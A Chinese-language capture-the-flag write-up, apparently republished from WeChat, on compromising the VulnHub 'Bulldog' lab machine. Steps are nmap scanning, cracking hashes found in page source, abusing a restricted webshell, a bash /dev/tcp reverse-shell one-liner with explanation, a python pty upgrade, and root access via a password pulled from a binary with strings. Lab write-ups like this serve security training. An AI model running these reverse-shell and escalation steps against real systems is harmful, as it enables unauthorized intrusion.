vulnhub靶场系列-bulldog
2019-10-18 11:45:09 Author: mp.weixin.qq.com(查看原文) 阅读量:77 收藏

发现整个渗透流程中,分享和总结是最耗心力的,既要整理思路和想法,又要让整个流程通顺符合逻辑。但是分享是学习的老师,一切都是值得的,不多废话了,直接上主题,哈哈哈。

一、信息收集

第一步啥也不用想,nmap端口开路。

靶机IP:172.16.3.208

# Nmap 7.70 scan initiated Sat Oct 12 15:52:17 2019 as: nmap -sV -sC -A -Pn -oN 172.16.3.208.txt 172.16.3.208

Nmap scan report for localhost (172.16.3.208)

Host is up (0.0010s latency).

Not shown: 997 closed ports

PORT     STATE SERVICE VERSION

23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)

|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)

|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)

80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)

|_http-server-header: WSGIServer/0.1 Python/2.7.12

|_http-title: Bulldog Industries

8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)

|_http-server-header: WSGIServer/0.1 Python/2.7.12

|_http-title: Bulldog Industries

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Oct 12 15:52:31 2019 -- 1 IP address (1 host up) scanned in 13.85 seconds

发现80端口,于是web目录扫描

主要出现了这几个界面

主页,这里没有发现可用的信息

哈哈哈,看CEO的用词、能看出靶场设计者的用心。用了一种情景加故事的方式,告诉了我们一些信息收集的东西,尽力地模仿实际场景了。

技术团队声明,用了有道词典大法成功提取部分重要信息:之前的网站使用了php,被黑后替换成了python,数据库使用了MongoDB,但是未安装完全。

还有一个需要验证的webshell链接,点击如下:

Django登录界面

现在问题来了,从题目可知,webshell可以提供给我们了,但是需要验证,怎么验证呢?验证数据又从哪里来?

按照靶场的惯例,一般这个时候右键=>查看源代码,会有惊喜。

看出来这里的数据应该是sha1加密,使用SMD5进行碰撞解析得到nick/bulldog、sarah/bulldoglover两个账号。

分别用两个账号登录Django后台,发现啥权限也没有,啥事也不能做。

但是再次打开webshell的界面,发现我们拥有shell的一些使用权限了。

二、webshell的使用

可以看到我们只有ifconfig ls echo pwd cat rm这些命令的权限,其他的大部分命令比如cd会被拦截。

反弹shell。

echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash

命令解释:

bash -i : bash是Linux下一个常见的shell,-i参数表示产生一个交互式的shell

/dev/tcp/192.168.175.134/8080 : /dev/tcp|udp/ip/port是一个Linux中比较特殊的一个文件,如果在Linux上访问就会发现这个文件并不存在,其含义是让主机与目标主机ip在端口port建立一个tcp或udp连接

0>&1:将标准输入0输出重定向至标准输出1。或者可以这么理解,将标准输入0和标准输出1合并,在重定向至1,因为前面已经将标准输出1重定向至/dev/tcp/192.168.175.134/8080,所以现在标准输入0和标准输出1都指向/dev/tcp/192.168.175.134/8080。
echo + | bash是将中间具有交互式shell通过管道赋予bash

三、提权

cat /etc/passwd,拥有shell权限的3个人,django、bulldogadmin和root。

我uname -a然后使用脏牛进行提权,发现目前我的权限低的不能执行脏牛文件.....

然后瞄准bulldogadmin用户,查找他的文件 find / -user bulldogadmin 2>/dev/null,发现隐藏目录

打开note,一封信。

打开customPermissionApp乱码

使用strings发现两个点

这里的SUPERultHimatePASHSWORDyouHCANTget去掉H,就是SUPER ultimate PASSWORD you CANT get的组合,可能是密码,至于为什么,猜(正常渗透情况下,很少有这样的情况吧)。

反弹shell不是标准的shell,我们可以通过py自带库完成反弹shell到标准shell的转变

python -c 'import pty;pty.spawn("/bin/bash")'

然后

sudo su root

./customPermissionApp bulldogadmin

然后输入密码,成功提权。

SUPERultimatePASSWORDyouCANTget

四、总结

  • 根据拥有bash权限的用户查找其文件,发现关键信息进而提权,在实际提取中会比较有用!

  • 还是有很多东西需要学,继续努力吧!

往期实战精彩回顾
从js信息泄露到webshell
从反渗透到病毒分析
HW之蜜罐总结
MSSQL注入的高级安全技术
zico靶机实战过程
MSSQL注入的高级安全技术
由一则敏感文档泄露事件溯源说起
从0day到未授权访问到文件包含到内网漫游

点击左下角阅读原文,直达安全社区,学技术就上www.secshi.com,数千篇渗透测试实战文章等你来看!!!


文章来源: http://mp.weixin.qq.com/s?__biz=MzUyNTk1NDQ3Ng==&mid=2247484707&idx=1&sn=3c16c1c242fe00efb7fc2c31705fd5ba&chksm=fa1779e0cd60f0f6ef49bf44d6ddf36911116f440b75ad6aa84951462bfaadb2a8668c3579e7#rd
如有侵权请联系:admin#unsafe.sh